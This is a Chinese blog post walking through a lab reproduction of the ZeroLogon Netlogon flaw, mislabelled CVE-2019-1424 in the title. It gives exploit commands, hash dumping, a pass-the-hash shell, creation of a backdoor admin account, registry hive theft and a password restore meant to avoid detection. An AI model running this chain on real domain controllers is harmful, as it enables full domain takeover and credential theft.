前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Windows NetLogon权限提升漏洞(CVE-2019-1424) 复现

Windows NetLogon权限提升漏洞(CVE-2019-1424) 复现

原创
作者头像
pensar
修改2020-09-24 14:24:03
1.6K0
修改2020-09-24 14:24:03
举报
文章被收录于专栏:漏斗社区漏斗社区

0x00 漏洞详情

2020年08月11日,微软MSRC官方发布了NetLogon特权提升漏洞的安全通告,该漏洞编号为 CVE-2020-1472,漏洞等级:严重, CVSS 评分:10.0。该漏洞由Secura公司的Tom Tervoort发现提交,因此被命名为ZeroLogon。

NetLogon 远程协议是一种在 Windows 域控上使用的 RPC 接口,被用于各种与用户和机器认证相关的任务。最常用于让用户使用 NTLM 协议登录服务器,也用于 NTP 响应认证以及更新计算机域密码。

漏洞成因 Netlogon协议身份认证采用了挑战-响应机制,其中加密算法是AES-CFB8,并且IV默认全零,导致了该漏洞产生。又因为认证次数没做限制,签名功能客户端默认可选,使得漏洞顺利被利用。

0x01 漏洞版本

Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server 2012 Windows Server 2012 (Server Core installation) Windows Server 2012 R2 Windows Server 2012 R2 (Server Core installation) Windows Server 2016 Windows Server 2016 (Server Core installation) Windows Server 2019 Windows Server 2019 (Server Core installation) Windows Server, version 1903 (Server Core installation) Windows Server, version 1909 (Server Core installation) Windows Server, version 2004 (Server Core installation)

0x02 漏洞复现环境搭建(配置):

1. 环境拓扑

为了快速完成漏洞的复现,验证互联网上已经公布的EXP,本次复现采用的拓扑如下图所示:

2. 靶机环境配置

版本:Windows Server 2012 R2 IP:10.10.14.122 配置域名为:douge.com 计算机名:DC

具体安装步骤如下:

a. 根据微软MSRC的安全通告的漏洞版本,去itellyou上下载漏洞版本的镜像(cn_windows_server_2012_r2_x64_dvd_2707961.iso),并在虚拟机上安装(此安装步骤这里不再赘述)。

b. 按照下图进行IP地址的配置:不勾选ipv6,将ipv4配置为固定IP地址,地址根据实际规划进行配置,其中首选DNS服务器与IP地址配置一致:

c.修改服务器计算机名为DC,然后重启服务器:

d.在服务器上安装域服务和DNS,设置域名为douge.com,NetBIOS域名按默认即可(由于不能上传git图,因此这里仅截图安装后的截图):

e.安装完成后查看任务管理器,确保Netlogon服务是开启的:

f. 为了模拟域环境,配置客户机(实际验证exp,客户机可不配置)

版本:windows server 2008 R2 IP:10.10.14.1 首选DNS服务器:10.10.14.122 计算机名:WIN-MNN49JD0IFN

3. 攻击环境准备

版本:Windows 7 IP:10.10.14.12 Python版本:3.7.8

a. 脚本合集:

工具合集下载:链接:https://pan.baidu.com/s/1M1QZe398FoxI45FgF3Tepg 提取码:h7sv (斗哥已经帮大家打包好了,直接下载即可使用~)

1-SecuraBV: 下载地址:https://github.com/SecuraBV/CVE-2020-1472 用法:python zerologon_tester.py [服务器计算机名] [服务器ip]

2-s0wr0b1ndef: 下载地址:https://github.com/s0wr0b1ndef/CVE-2020-1472 用法:python cve-2020-1472-exploit.py -n [服务器计算机名] -t [服务器ip]

3-dirkjanm: 下载地址:https://github.com/dirkjanm/CVE-2020-1472 用法:python zerologon_tester.py [服务器计算机名] [服务器ip]

4-impacket-master: 下载地址:https://github.com/SecureAuthCorp/impacket

1、secretsdump.py获取域控hash的用法: python secretsdump.py [域]/[服务器计算机名]$@[服务器ip]

2、wmiexec.py登录DC获取shell的用法: python wmiexec.py -hashes [用户名对应哈希值] [域]/[用户名]@[服务器ip]

3、使用如下命令获取DC上的hash: reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save get system.save get sam.save get security.save del /f system.save del /f sam.save del /f security.save

4、使用secretsdump.py解析保存的hash值(即上步骤保存的hash)用法: Python secretsdump.py -sam [HKLM\SYSTEM] -system [HKLM\SAM] -security [HKLM\SECURITY] LOCAL

5-risksense: 下载地址:https://github.com/risksense/zerologon 用法:python reinstall_original_pw.py [服务器计算机名] [服务器ip] [plain_password_hex]

b. 脚本环境之impacket的安装:

Impacket是一个Python类库,用于对SMB1-3或IPv4 / IPv6 上的TCP、UDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB,MSRPC,NTLM,Kerberos,WMI,LDAP等协议进行低级编程访问。 impacket需要安装最新版(impacket 0.9.22.dev1),该版本中更新了函数NetrServerPasswordSet2,该函数会在利用脚本中使用。

其中本次复现要用到的secretsdump.py、wmiexec.py两个脚本的在/impacket/examples目录中。

secretsdump.py:执行各种技术从远程机器转储Secrets,而不在那里执行任何代理。对于SAM和LSA Secrets(包括缓存的凭据),然后将hives保存在目标系统(%SYSTEMROOT%\ Temp目录)中,并从中读取其余数据。对于DIT文件,我们使用dl_drsgetncchanges()方法转储NTLM哈希值、纯文本凭据(如果可用)和Kerberos密钥。它还可以通过使用smbexec/wmiexec方法执行的vssadmin来转储NTDS.dit.如果脚本不可用,脚本将启动其运行所需的服务(例如,远程注册表,即使它已被禁用)。运行完成后,将恢复到原始状态。

wmiexec.py:它会生成一个使用Windows Management Instrumentation的半交互式shell,并以管理员身份运行。你不需要在目标服务器上安装任何的服务/代理,因此它非常的隐蔽。

代码语言:shell
复制
$ git clone https://github.com/SecureAuthCorp/impacket  
(也可下载斗哥工具包中impacket包拷贝到攻击主机上进行安装) 
$ cd impacket 
$ pip install . (后面有个点,代表当前目录)

注:如果在使用exp过程中出现如下报错,则是因为没有安装最新版的Impacket: AttributeError: module ‘impacket.dcerpc.v5.nrpc’ has no attribute ‘NetrServerPasswordSet2’

另:如果是要安装在kali上,可参照如下命令进行安装:

代码语言:shell
复制
$ pip install Impacket -i https://pypi.tuna.tsinghua.edu.cn/simple 
$ git clone https://github.com/CoreSecurity/impacket.git  
$ cd impacket 
$ sudo python3 setup.py install 

0x03 漏洞利用(过程):

漏洞利用基本思路:

  1. 使用POC检测漏洞是否存在
  2. 利用EXP将域控密码置为空
  3. 使用secretsdump.py获取域控hash
  4. 通过获取到的hash使用wmiexec.py登录域控获取一个shell
  5. 通过shell获取域控本地保存的原hash文件
  6. 通过获取的hash文件恢复被置空的域控密码

实施步骤:

1、首先确认攻击主机与靶机网络的连通性,该漏洞只要攻击主机能与域控服务器建立TCP连接即可进行攻击(本次复现的两台虚拟机均采用桥接方式):

2、在攻击机上面运行工具包1-SecuraBV目录中poc,检测是否存在CVE2020-1472漏洞:

代码语言:shell
复制
$ python zerologon_tester.py DC 10.10.14.122

3、使用工具包中2-s0wr0b1ndef或3-dirkjanm目录下的exp将域控(DC)的密码置为空,斗哥这里使用的是工具包3-dirkjanm中的exp:

代码语言:javascript
复制
$ python cve-2020-1472-exploit.py DC 10.10.14.122

4、使用secretsdump.py脚本可以获取域控器上的所有用户的hash值(导致可以获取账户数据库的hash是因为在攻击主机和域控建立Netlogon挑战认证的时候,NetrServerPasswordGet函数可被调用,而该函数允许获取计算机密码的NTLM hash。):

代码语言:javascript
复制
$ python secretsdump.py douge.com/DC$@10.10.14.122 -no-pass

其中通过dump的hash值,可以发现这里的域控器的DC账户密码已经被置为空密码,:

测试:模拟客户机加入douge.com,发现此时域控制器已无法连接,因为DC账户密码已被置为空导致DC脱域:

攻击到这里我们可以通过爆破hash值来获取该域内所有用户的密码,如下图斗哥通过爆破administrator账户的hash获取到该账号的密码,当然实际管理员账号密码可能设置的更复杂,不一定能爆的出来。

5、上述步骤我们已经获取到hash,首先想到的是通过爆破hash的方式获取密码,但是不一定能爆破成功,另外由于域控制器的DC账户密码被置空导致DC脱域,为了隐蔽不让管理员发现,我们也需要将DC账号的密码hash进行恢复。因此这里我们使用wmiexec.py脚本直接使用hash值进行登录到域控,并且是一个管理员权限的shell。

代码语言:text
复制
$ python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:33a8fbef1abc30244a8f7a65d9165e1a douge.com/Administrator@10.10.14.122

拿到shell之后就可以各种骚操作了,如果有开RDP的话可以直接在域控制器上新增一个账号,这里斗哥就不展开了:

代码语言:javascript
复制
$ net user hack ABC@123@abc /add 
$ net localgroup administrator hack /add 

6、攻击的话基本到上步骤,但是这里我们还有没将域控的DC账号恢复成原来的hash,因此这里我们通过shell执行如下命令(使用注册表导出hash)获取域控脱域之前本地保存的hash:

代码语言:javascript
复制
reg save HKLM\SYSTEM system.save 
reg save HKLM\SAM sam.save 
reg save HKLM\SECURITY security.save 
get system.save 
get sam.save 
get security.save 
del /f system.save 
del /f sam.save 
del /f security.save

导出的hash文件与wmiexec.py脚本在同目录下:

7、然后使用secretsdump.py脚本解析将上步骤导出的hash文件进行解析,解析结果即图中$MACHINE.ACC:plain_password_hex部分:

代码语言:shell
复制
$ python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

8、最后运行5-risksense目录下的reinstall_original_pw.py脚本将DC账户的密码恢复成置空前的hash即可,这样DC就不会脱域:

代码语言:shell
复制
$ python reinstall_original_pw.py DC 10.10.14.122 37807b759......336a4

则此时再运行secretsdump.py脚本发现则无法获取hash值:

下期剧透:

真实情况下CVE-2020-1472的漏洞复现肯定没有本文所述的那么简单,经常会遇到各种错综复杂问题(论CTF杂项在实际渗透中的使用),而这样的漏洞环境在实际渗透过程中又是可遇而不可求,这对进一步想要提升内网渗透实战能力的小伙伴来说是一个真实门槛的存在,为了让小伙伴们可以模拟和复现真实的内网渗透环境,斗哥设计了一个内网渗透环境的沙盘,取名曰:百香果,斗哥将在下期推出,敬请关注。


参考链接:

微软安全通告:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472 漏洞分析英文原文:https://www.secura.com/pathtoimg.php?id=2055 中文漏洞分析:https://www.freebuf.com/vuls/249813.html Impacket库说明文档:https://www.secureauth.com/labs/open-source-tools/impacket 原英文博客:https://www.secura.com/blog/zero-logon MS-NRPC协议说明文档:https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-NRPC/%5BMS-NRPC%5D.pdf

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 漏洞详情
  • 0x01 漏洞版本
  • 0x02 漏洞复现环境搭建(配置):
    • 1. 环境拓扑
      • 2. 靶机环境配置
        • 3. 攻击环境准备
        • 0x03 漏洞利用(过程):
        • 下期剧透:
        • 参考链接:
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档